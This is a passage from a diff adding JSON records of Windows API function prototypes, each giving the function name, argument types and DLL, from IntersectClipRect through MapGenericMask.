lpdwFlags,DWORD dwReserved);" + }, + { + "function_name": "IntersectClipRect", + "arguments": [ + "HDC", + "int", + "int", + "int", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int IntersectClipRect(HDC hdc, int nLeftRect, int nTopRect, int nRightRect, int nBottomRect);" + }, + { + "function_name": "IntersectRect", + "arguments": [ + "LPRECT", + "CONST RECT *", + "CONST RECT *" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL IntersectRect(LPRECT lprcDst, CONST RECT * lprcSrc1, CONST RECT * lprcSrc2);" + }, + { + "function_name": "InvalidateRect", + "arguments": [ + "HWND", + "CONST RECT *", + "BOOL" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL InvalidateRect(HWND hWnd,CONST RECT * lpRect, BOOL bErase);" + }, + { + "function_name": "InvalidateRgn", + "arguments": [ + "HWND", + "HRGN", + "BOOL" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL InvalidateRgn(HWND hWnd, HRGN hRgn, BOOL bErase);" + }, + { + "function_name": "InvertRect", + "arguments": [ + "HDC", + "CONST RECT *" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL InvertRect(HDC hDC, CONST RECT * lprc);" + }, + { + "function_name": "InvertRgn", + "arguments": [ + "HDC", + "HRGN" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL InvertRgn(HDC hdc, HRGN hrgn);" + }, + { + "function_name": "IsBadCodePtr", + "arguments": [ + "FARPROC" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL IsBadCodePtr(FARPROC lpfn);" + }, + { + "function_name": "IsBadHugeReadPtr", + "arguments": [ + "CONST VOID", + "UINT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL IsBadHugeReadPtr(CONST VOID *lp, UINT ucb);" + }, + { + "function_name": "IsBadHugeWritePtr", + "arguments": [ + "LPVOID", + "UINT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL IsBadHugeWritePtr(LPVOID lp, UINT ucb);" + }, + { + "function_name": "IsBadReadPtr", + "arguments": [ + "CONST VOID", + "UINT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL IsBadReadPtr(CONST VOID *lp, UINT ucb);" + }, + { + "function_name": "IsBadStringPtrA", + "arguments": [ + "LPCTSTR", + "UINT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL IsBadStringPtrA(LPCTSTR lpsz, UINT ucchMax);" + }, + { + "function_name": "IsBadStringPtrW", + "arguments": [ + "LPCWSTR", + "UINT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL IsBadStringPtrW(LPCWSTR str, UINT max);" + }, + { + "function_name": "IsBadWritePtr", + "arguments": [ + "LPVOID", + "UINT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL IsBadWritePtr(LPVOID lp, UINT ucb);" + }, + { + "function_name": "IsDBCSLeadByte", + "arguments": [ + "BYTE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL IsDBCSLeadByte(BYTE TestChar);" + }, + { + "function_name": "IsDBCSLeadByteEx", + "arguments": [ + "UINT", + "BYTE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL IsDBCSLeadByteEx(UINT CodePage, BYTE TestChar);" + }, + { + "function_name": "IsCharAlphaA", + "arguments": [ + "TCHAR" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL IsCharAlphaA(TCHAR ch);" + }, + { + "function_name": "IsCharAlphaNumericA", + "arguments": [ + "TCHAR" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL IsCharAlphaNumericA(TCHAR ch);" + }, + { + "function_name": "IsCharAlphaNumericW", + "arguments": [ + "WCHAR" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL IsCharAlphaNumericW(WCHAR ch);" + }, + { + "function_name": "IsCharAlphaW", + "arguments": [ + "WCHAR" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL IsCharAlphaW(WCHAR ch);" + }, + { + "function_name": "IsCharLowerA", + "arguments": [ + "TCHAR" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL IsCharLowerA(TCHAR ch);" + }, + { + "function_name": "IsCharLowerW", + "arguments": [ + "WCHAR" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL IsCharLowerW(WCHAR ch);" + }, + { + "function_name": "IsCharUpperA", + "arguments": [ + "TCHAR" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL IsCharUpperA(TCHAR ch);" + }, + { + "function_name": "IsCharUpperW", + "arguments": [ + "WCHAR" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL IsCharUpperW(WCHAR ch);" + }, + { + "function_name": "IsChild", + "arguments": [ + "HWND", + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL IsChild(HWND hWndParent, HWND hWnd);" + }, + { + "function_name": "IsClipboardFormatAvailable", + "arguments": [ + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL IsClipboardFormatAvailable(UINT format);" + }, + { + "function_name": "IsDebuggerPresent", + "arguments": [ + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL IsDebuggerPresent(void);" + }, + { + "function_name": "IsDialogMessageA", + "arguments": [ + "HWND", + "LPMSG" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL IsDialogMessageA(HWND hDlg, LPMSG lpMsg);" + }, + { + "function_name": "IsDialogMessageW", + "arguments": [ + "HWND", + "LPMSG" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL IsDialogMessageW(HWND hDlg, LPMSG lpMsg);" + }, + { + "function_name": "IsDlgButtonChecked", + "arguments": [ + "HWND", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "UINT IsDlgButtonChecked(HWND hDlg, int nIDButton);" + }, + { + "function_name": "IsIconic", + "arguments": [ + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL IsIconic(HWND hWnd);" + }, + { + "function_name": "IsMenu", + "arguments": [ + "HMENU" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL IsMenu(HMENU hMenu);" + }, + { + "function_name": "IsProcessorFeaturePresent", + "arguments": [ + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL IsProcessorFeaturePresent(DWORD ProcessorFeature);" + }, + { + "function_name": "IsRectEmpty", + "arguments": [ + "CONST RECT *" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL IsRectEmpty(CONST RECT * lprc);" + }, + { + "function_name": "IsTextUnicode", + "arguments": [ + "CONST LPVOID", + "int", + "LPINT" + ], + "dll_name": "advapi32.dll", + "full_prototype": "DWORD IsTextUnicode( CONST LPVOID lpBuffer, int cb, LPINT lpi );" + }, + { + "function_name": "IsValidAcl", + "arguments": [ + "PACL" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL IsValidAcl( PACL pAcl );" + }, + { + "function_name": "IsValidCodePage", + "arguments": [ + "UINT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL IsValidCodePage(UINT CodePage);" + }, + { + "function_name": "IsValidLocale", + "arguments": [ + "LCID", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL IsValidLocale(LCID Locale, DWORD dwFlags);" + }, + { + "function_name": "IsValidSecurityDescriptor", + "arguments": [ + "PSECURITY_DESCRIPTOR" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL IsValidSecurityDescriptor( PSECURITY_DESCRIPTOR pSecurityDescriptor );" + }, + { + "function_name": "IsValidSid", + "arguments": [ + "PSID" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL IsValidSid( PSID pSid );" + }, + { + "function_name": "IsWindow", + "arguments": [ + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL IsWindow(HWND hWnd);" + }, + { + "function_name": "IsWindowEnabled", + "arguments": [ + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL IsWindowEnabled(HWND hWnd);" + }, + { + "function_name": "IsWindowUnicode", + "arguments": [ + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL IsWindowUnicode(HWND hWnd);" + }, + { + "function_name": "IsWindowVisible", + "arguments": [ + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL IsWindowVisible(HWND hWnd);" + }, + { + "function_name": "IsZoomed", + "arguments": [ + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL IsZoomed(HWND hWnd);" + }, + { + "function_name": "keybd_event", + "arguments": [ + "BYTE", + "BYTE", + "DWORD", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "VOID keybd_event(BYTE bVk,BYTE bScan, DWORD dwFlags, DWORD dwExtraInfo);" + }, + { + "function_name": "KillTimer", + "arguments": [ + "HWND", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL KillTimer(HWND hWnd,UINT uIDEvent);" + }, + { + "function_name": "LCMapStringA", + "arguments": [ + "LCID", + "DWORD", + "LPCTSTR", + "int", + "LPTSTR", + "int" + ], + "dll_name": "kernel32.dll", + "full_prototype": "int LCMapStringA(LCID Locale, DWORD dwMapFlags, LPCTSTR lpSrcStr, int cchSrc, LPTSTR lpDestStr, int cchDest);" + }, + { + "function_name": "LCMapStringW", + "arguments": [ + "LCID", + "DWORD", + "LPCWSTR", + "INT", + "LPWSTR", + "INT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "INT LCMapStringW(LCID lcid, DWORD flags, LPCWSTR src, INT srclen, LPWSTR dst, INT dstlen);" + }, + { + "function_name": "LeaveCriticalSection", + "arguments": [ + "LPCRITICAL_SECTION" + ], + "dll_name": "kernel32.dll", + "full_prototype": "VOID LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection);" + }, + { + "function_name": "LineDDA", + "arguments": [ + "int", + "int", + "int", + "int", + "LINEDDAPROC", + "LPARAM" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL LineDDA(int nXStart, int nYStart, int nXEnd, int nYEnd, LINEDDAPROC lpLineFunc, LPARAM lpData);" + }, + { + "function_name": "LineTo", + "arguments": [ + "HDC", + "int", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL LineTo(HDC hdc, int nXEnd, int nYEnd);" + }, + { + "function_name": "LoadAcceleratorsA", + "arguments": [ + "HINSTANCE", + "LPCTSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "HACCEL LoadAcceleratorsA(HINSTANCE hInstance, LPCTSTR lpTableName);" + }, + { + "function_name": "LoadAcceleratorsW", + "arguments": [ + "HINSTANCE", + "LPCWSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "HACCEL LoadAcceleratorsW(HINSTANCE hInstance, LPCWSTR lpTableName);" + }, + { + "function_name": "LoadBitmapA", + "arguments": [ + "HINSTANCE", + "LPCTSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "HBITMAP LoadBitmapA(HINSTANCE hInstance, LPCTSTR lpBitmapName);" + }, + { + "function_name": "LoadBitmapW", + "arguments": [ + "HINSTANCE", + "LPCWSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "HBITMAP LoadBitmapW(HINSTANCE hInstance, LPCWSTR lpBitmapName);" + }, + { + "function_name": "LoadCursorA", + "arguments": [ + "HINSTANCE", + "LPCTSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "HCURSOR LoadCursorA(HINSTANCE hInstance, LPCTSTR lpCursorName);" + }, + { + "function_name": "LoadCursorFromFileA", + "arguments": [ + "LPCTSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "HCURSOR LoadCursorFromFileA(LPCTSTR lpFileName);" + }, + { + "function_name": "LoadCursorFromFileW", + "arguments": [ + "LPCWSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "HCURSOR LoadCursorFromFileW(LPCWSTR lpFileName);" + }, + { + "function_name": "LoadCursorW", + "arguments": [ + "HINSTANCE", + "LPCWSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "HCURSOR LoadCursorW(HINSTANCE hInstance, LPCWSTR lpCursorName);" + }, + { + "function_name": "LoadIconA", + "arguments": [ + "HINSTANCE", + "LPCTSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "HICON LoadIconA(HINSTANCE hInstance, LPCTSTR lpIconName);" + }, + { + "function_name": "LoadIconW", + "arguments": [ + "HINSTANCE", + "LPCWSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "HICON LoadIconW(HINSTANCE hInstance, LPCWSTR lpIconName);" + }, + { + "function_name": "LoadImageA", + "arguments": [ + "HINSTANCE", + "LPCTSTR", + "UINT", + "int", + "int", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "HANDLE LoadImageA( HINSTANCE hinst, LPCTSTR lpszName, UINT uType, int cxDesired, int cyDesired, UINT fuLoad );" + }, + { + "function_name": "LoadImageW", + "arguments": [ + "HINSTANCE", + "LPCWSTR", + "UINT", + "int", + "int", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "HANDLE LoadImageW(HINSTANCE hinst, LPCWSTR lpszName, UINT uType, int cxDesired, int cyDesired, UINT fuLoad);" + }, + { + "function_name": "LoadKeyboardLayoutA", + "arguments": [ + "LPCTSTR", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "HKL LoadKeyboardLayoutA(LPCTSTR pwszKLID, UINT Flags);" + }, + { + "function_name": "LoadKeyboardLayoutW", + "arguments": [ + "LPCWSTR", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "HKL LoadKeyboardLayoutW(LPCWSTR pwszKLID, UINT Flags);" + }, + { + "function_name": "LoadLibraryA", + "arguments": [ + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HINSTANCE LoadLibraryA(LPCTSTR lpLibFileName);" + }, + { + "function_name": "LoadLibraryW", + "arguments": [ + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HMODULE LoadLibraryW(LPCWSTR libnameW);" + }, + { + "function_name": "LoadLibraryExA", + "arguments": [ + "LPCTSTR", + "HANDLE", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HINSTANCE LoadLibraryExA(LPCTSTR lpLibFileName, HANDLE hFile, DWORD dwFlags);" + }, + { + "function_name": "LoadLibraryExW", + "arguments": [ + "LPCWSTR", + "HANDLE", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HMODULE LoadLibraryExW(LPCWSTR libnameW, HANDLE hfile, DWORD flags);" + }, + { + "function_name": "LoadMenuA", + "arguments": [ + "HINSTANCE", + "LPCTSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "HMENU LoadMenuA(HINSTANCE hInstance, LPCTSTR lpMenuName);" + }, + { + "function_name": "LoadMenuIndirectA", + "arguments": [ + "CONST MENUTEMPLATE" + ], + "dll_name": "user32.dll", + "full_prototype": "HMENU LoadMenuIndirectA(CONST MENUTEMPLATE *lpMenuTemplate);" + }, + { + "function_name": "LoadMenuIndirectW", + "arguments": [ + "CONST MENUTEMPLATE" + ], + "dll_name": "user32.dll", + "full_prototype": "HMENU LoadMenuIndirectW(CONST MENUTEMPLATE *lpMenuTemplate);" + }, + { + "function_name": "LoadMenuW", + "arguments": [ + "HINSTANCE", + "LPCWSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "HMENU LoadMenuW(HINSTANCE hInstance, LPCWSTR lpMenuName);" + }, + { + "function_name": "LoadModule", + "arguments": [ + "LPCSTR", + "LPVOID" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD LoadModule(LPCSTR lpModuleName, LPVOID lpParameterBlock);" + }, + { + "function_name": "LoadResource", + "arguments": [ + "HMODULE", + "HRSRC" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HGLOBAL LoadResource(HMODULE hModule, HRSRC hResInfo);" + }, + { + "function_name": "LoadStringA", + "arguments": [ + "HINSTANCE", + "UINT", + "LPTSTR", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "int LoadStringA(HINSTANCE hInstance, UINT uID, LPTSTR lpBuffer, int nBufferMax);" + }, + { + "function_name": "LoadStringW", + "arguments": [ + "HINSTANCE", + "UINT", + "LPWSTR", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "int LoadStringW(HINSTANCE hInstance, UINT uID, LPWSTR lpBuffer, int nBufferMax);" + }, + { + "function_name": "LocalAlloc", + "arguments": [ + "UINT", + "UINT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HLOCAL LocalAlloc(UINT uFlags, UINT uBytes);" + }, + { + "function_name": "LocalCompact", + "arguments": [ + "UINT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "UINT LocalCompact(UINT uMinFree);" + }, + { + "function_name": "LocalFileTimeToFileTime", + "arguments": [ + "CONST FILETIME *", + "LPFILETIME" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL LocalFileTimeToFileTime(CONST FILETIME * lpLocalFileTime, LPFILETIME lpFileTime);" + }, + { + "function_name": "LocalFlags", + "arguments": [ + "HLOCAL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "UINT LocalFlags(HLOCAL hMem);" + }, + { + "function_name": "LocalFree", + "arguments": [ + "HLOCAL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HLOCAL LocalFree(HLOCAL hMem);" + }, + { + "function_name": "LocalLock", + "arguments": [ + "HLOCAL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LPVOID LocalLock(HLOCAL hMem);" + }, + { + "function_name": "LocalReAlloc", + "arguments": [ + "HLOCAL", + "UINT", + "UINT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HLOCAL LocalReAlloc(HLOCAL hMem, UINT uBytes, UINT uFlags);" + }, + { + "function_name": "LocalShrink", + "arguments": [ + "HLOCAL", + "UINT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "UINT LocalShrink(HLOCAL hloc, UINT cbNewSize);" + }, + { + "function_name": "LocalSize", + "arguments": [ + "HLOCAL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "UINT LocalSize(HLOCAL hMem);" + }, + { + "function_name": "LocalUnlock", + "arguments": [ + "HLOCAL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL LocalUnlock(HLOCAL hMem);" + }, + { + "function_name": "LockFile", + "arguments": [ + "HANDLE", + "DWORD", + "DWORD", + "DWORD", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL LockFile(HANDLE hFile, DWORD dwFileOffsetLow, DWORD dwFileOffsetHigh, DWORD nNumberOfBytesToLockLow,DWORD nNumberOfBytesToLockHigh);" + }, + { + "function_name": "LockFileEx", + "arguments": [ + "HANDLE", + "DWORD", + "DWORD", + "DWORD", + "DWORD", + "LPOVERLAPPED" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL LockFileEx(HANDLE hFile,DWORD dwFlags, DWORD dwReserved, DWORD nNumberOfBytesToLockLow, DWORD nNumberOfBytesToLockHigh, LPOVERLAPPED lpOverlapped );" + }, + { + "function_name": "LockResource", + "arguments": [ + "HGLOBAL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LPVOID LockResource(HGLOBAL hResData);" + }, + { + "function_name": "LockWindowUpdate", + "arguments": [ + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL LockWindowUpdate(HWND hWndLock);" + }, + { + "function_name": "LockWorkStation", + "arguments": [ + "" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL LockWorkStation(VOID);" + }, + { + "function_name": "LogonUserA", + "arguments": [ + "LPTSTR", + "LPTSTR", + "LPTSTR", + "DWORD", + "DWORD", + "PHANDLE" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL LogonUserA( LPTSTR lpszUsername, LPTSTR lpszDomain, LPTSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken );" + }, + { + "function_name": "LogonUserW", + "arguments": [ + "LPWSTR", + "LPWSTR", + "LPWSTR", + "DWORD", + "DWORD", + "PHANDLE" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL LogonUserW(LPWSTR lpszUsername,LPWSTR lpszDomain,LPWSTR lpszPassword,DWORD dwLogonType,DWORD dwLogonProvider,PHANDLE phToken);" + }, + { + "function_name": "LookupAccountNameA", + "arguments": [ + "LPCTSTR", + "LPCTSTR", + "PSID", + "LPDWORD", + "LPTSTR", + "LPDWORD", + "PSID_NAME_USE" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL LookupAccountNameA( LPCTSTR lpSystemName, LPCTSTR lpAccountName, PSID Sid, LPDWORD cbSid, LPTSTR ReferencedDomainName, LPDWORD cbReferencedDomainName, PSID_NAME_USE peUse );" + }, + { + "function_name": "LookupAccountNameW", + "arguments": [ + "LPCWSTR", + "LPCWSTR", + "PSID", + "LPDWORD", + "LPWSTR", + "LPDWORD", + "PSID_NAME_USE" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL LookupAccountNameW( LPCWSTR lpSystemName, LPCWSTR lpAccountName, PSID Sid, LPDWORD cbSid, LPWSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse );" + }, + { + "function_name": "LookupAccountSidA", + "arguments": [ + "LPCTSTR", + "PSID", + "LPTSTR", + "LPDWORD", + "LPTSTR", + "LPDWORD", + "PSID_NAME_USE" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL LookupAccountSidA( LPCTSTR lpSystemName, PSID Sid, LPTSTR Name, LPDWORD cbName, LPTSTR ReferencedDomainName, LPDWORD cbReferencedDomainName, PSID_NAME_USE peUse );" + }, + { + "function_name": "LookupAccountSidW", + "arguments": [ + "LPCWSTR", + "PSID", + "LPWSTR", + "LPDWORD", + "LPWSTR", + "LPDWORD", + "PSID_NAME_USE" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL LookupAccountSidW(LPCWSTR lpSystemName,PSID Sid,LPWSTR Name,LPDWORD cbName,LPWSTR ReferencedDomainName,LPDWORD cbReferencedDomainName,PSID_NAME_USE peUse);" + }, + { + "function_name": "LookupIconIdFromDirectory", + "arguments": [ + "PBYTE", + "BOOL" + ], + "dll_name": "user32.dll", + "full_prototype": "int LookupIconIdFromDirectory(PBYTE presbits, BOOL fIcon);" + }, + { + "function_name": "LookupIconIdFromDirectoryEx", + "arguments": [ + "PBYTE", + "BOOL", + "int", + "int", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "int LookupIconIdFromDirectoryEx(PBYTE presbits, BOOL fIcon, int cxDesired, int cyDesired, UINT Flags);" + }, + { + "function_name": "LookupPrivilegeDisplayNameA", + "arguments": [ + "LPCTSTR", + "LPCTSTR", + "LPTSTR", + "LPDWORD", + "LPDWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL LookupPrivilegeDisplayNameA( LPCTSTR lpSystemName, LPCTSTR lpName, LPTSTR lpDisplayName, LPDWORD cbDisplayName, LPDWORD lpLanguageId );" + }, + { + "function_name": "LookupPrivilegeDisplayNameW", + "arguments": [ + "LPCWSTR", + "LPCWSTR", + "LPWSTR", + "LPDWORD", + "LPDWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL LookupPrivilegeDisplayNameW (LPCWSTR lpSystemName, LPCWSTR lpName, LPWSTR lpDisplayName, LPDWORD cbDisplayName, LPDWORD lpLanguageId);" + }, + { + "function_name": "LookupPrivilegeNameA", + "arguments": [ + "LPCTSTR", + "PLUID", + "LPTSTR", + "LPDWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL LookupPrivilegeNameA( LPCTSTR lpSystemName, PLUID lpLuid, LPTSTR lpName, LPDWORD cbName );" + }, + { + "function_name": "LookupPrivilegeNameW", + "arguments": [ + "LPCWSTR", + "PLUID", + "LPWSTR", + "LPDWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL LookupPrivilegeNameW ( LPCWSTR lpSystemName, PLUID lpLuid, LPWSTR lpName, LPDWORD cchName );" + }, + { + "function_name": "LookupPrivilegeValueA", + "arguments": [ + "LPCTSTR", + "LPCTSTR", + "PLUID" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL LookupPrivilegeValueA( LPCTSTR lpSystemName, LPCTSTR lpName, PLUID lpLuid );" + }, + { + "function_name": "LookupPrivilegeValueW", + "arguments": [ + "LPCWSTR", + "LPCWSTR", + "PLUID" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL LookupPrivilegeValueW( LPCWSTR lpSystemName, LPCWSTR lpName, PLUID lpLuid );" + }, + { + "function_name": "LPtoDP", + "arguments": [ + "HDC", + "LPPOINT", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL LPtoDP(HDC hdc,LPPOINT lpPoints, int nCount);" + }, + { + "function_name": "lstrcatA", + "arguments": [ + "LPTSTR", + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LPTSTR lstrcatA(LPTSTR lpString1,LPCTSTR lpString2);" + }, + { + "function_name": "lstrcatW", + "arguments": [ + "LPWSTR", + "LPWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LPWSTR lstrcatW(LPWSTR lpString1, LPWSTR lpString2);" + }, + { + "function_name": "lstrcmpA", + "arguments": [ + "LPCTSTR", + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "int lstrcmpA(LPCTSTR lpString1, LPCTSTR lpString2);" + }, + { + "function_name": "lstrcmpW", + "arguments": [ + "LPCWSTR", + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "int lstrcmpW(LPCWSTR str1, LPCWSTR str2);" + }, + { + "function_name": "lstrcmpiA", + "arguments": [ + "LPCTSTR", + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "int lstrcmpiA(LPCTSTR lpString1, LPCTSTR lpString2);" + }, + { + "function_name": "lstrcmpiW", + "arguments": [ + "LPCWSTR", + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "int lstrcmpiW(LPCWSTR str1, LPCWSTR str2);" + }, + { + "function_name": "lstrcpyA", + "arguments": [ + "LPTSTR", + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LPTSTR lstrcpyA(LPTSTR lpString1, LPCTSTR lpString2);" + }, + { + "function_name": "lstrcpyW", + "arguments": [ + "LPCWSTR", + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LPCWSTR lstrcpyW(LPCWSTR lpString1, LPCWSTR lpString2);" + }, + { + "function_name": "lstrcpynA", + "arguments": [ + "LPTSTR", + "LPCTSTR", + "int" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LPTSTR lstrcpynA(LPTSTR lpString1, LPCTSTR lpString2,int iMaxLength);" + }, + { + "function_name": "lstrcpynW", + "arguments": [ + "LPCWSTR", + "LPCWSTR", + "int" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LPCWSTR lstrcpynW(LPCWSTR lpString1, LPCWSTR lpString2, int iMaxLength);" + }, + { + "function_name": "lstrlenA", + "arguments": [ + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "int lstrlenA(LPCTSTR lpString);" + }, + { + "function_name": "lstrlenW", + "arguments": [ + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "int lstrlenW(LPCWSTR lpString);" + }, + { + "function_name": "LZClose", + "arguments": [ + "INT" + ], + "dll_name": "lz32.dll", + "full_prototype": "VOID LZClose(INT hFile);" + }, + { + "function_name": "LZCopy", + "arguments": [ + "INT", + "INT" + ], + "dll_name": "lz32.dll", + "full_prototype": "LONG LZCopy(INT hfSource,INT hfDest);" + }, + { + "function_name": "LZOpenFileA", + "arguments": [ + "LPTSTR", + "LPOFSTRUCT", + "WORD" + ], + "dll_name": "lz32.dll", + "full_prototype": "INT LZOpenFileA(LPTSTR lpFileName,LPOFSTRUCT lpReOpenBuf, WORD wStyle);" + }, + { + "function_name": "MakeAbsoluteSD", + "arguments": [ + "PSECURITY_DESCRIPTOR", + "PSECURITY_DESCRIPTOR", + "LPDWORD", + "PACL", + "LPDWORD", + "PACL", + "LPDWORD", + "PSID", + "LPDWORD", + "PSID", + "LPDWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL MakeAbsoluteSD( PSECURITY_DESCRIPTOR pSelfRelativeSecurityDescriptor, PSECURITY_DESCRIPTOR pAbsoluteSecurityDescriptor, LPDWORD lpdwAbsoluteSecurityDescriptorSize, PACL pDacl, LPDWORD lpdwDaclSize, PACL pSacl, LPDWORD lpdwSaclSize, PSID pOwner, LPDWORD lpdwOwnerSize, PSID pPrimaryGroup, LPDWORD lpdwPrimaryGroupSize );" + }, + { + "function_name": "MakeSelfRelativeSD", + "arguments": [ + "PSECURITY_DESCRIPTOR", + "PSECURITY_DESCRIPTOR", + "LPDWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL MakeSelfRelativeSD( PSECURITY_DESCRIPTOR pAbsoluteSecurityDescriptor, PSECURITY_DESCRIPTOR pSelfRelativeSecurityDescriptor, LPDWORD lpdwBufferLength );" + }, + { + "function_name": "MakeSureDirectoryPathExists", + "arguments": [ + "IN LPSTR" + ], + "dll_name": "imagehlp.dll", + "full_prototype": "BOOL MakeSureDirectoryPathExists(IN LPSTR Path);" + }, + { + "function_name": "MapDialogRect", + "arguments": [ + "HWND", + "LPRECT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL MapDialogRect(HWND hDlg, LPRECT lpRect);" + }, + { + "function_name": "MapGenericMask", + "arguments": [ + "PDWORD", + "PGENERIC_MAPPING" + ], + "dll_name": "advapi32.dll", + "full_prototype": "VOID MapGenericMask( PDWORD AccessMask, PGENERIC_MAPPING GenericMapping );" + }, 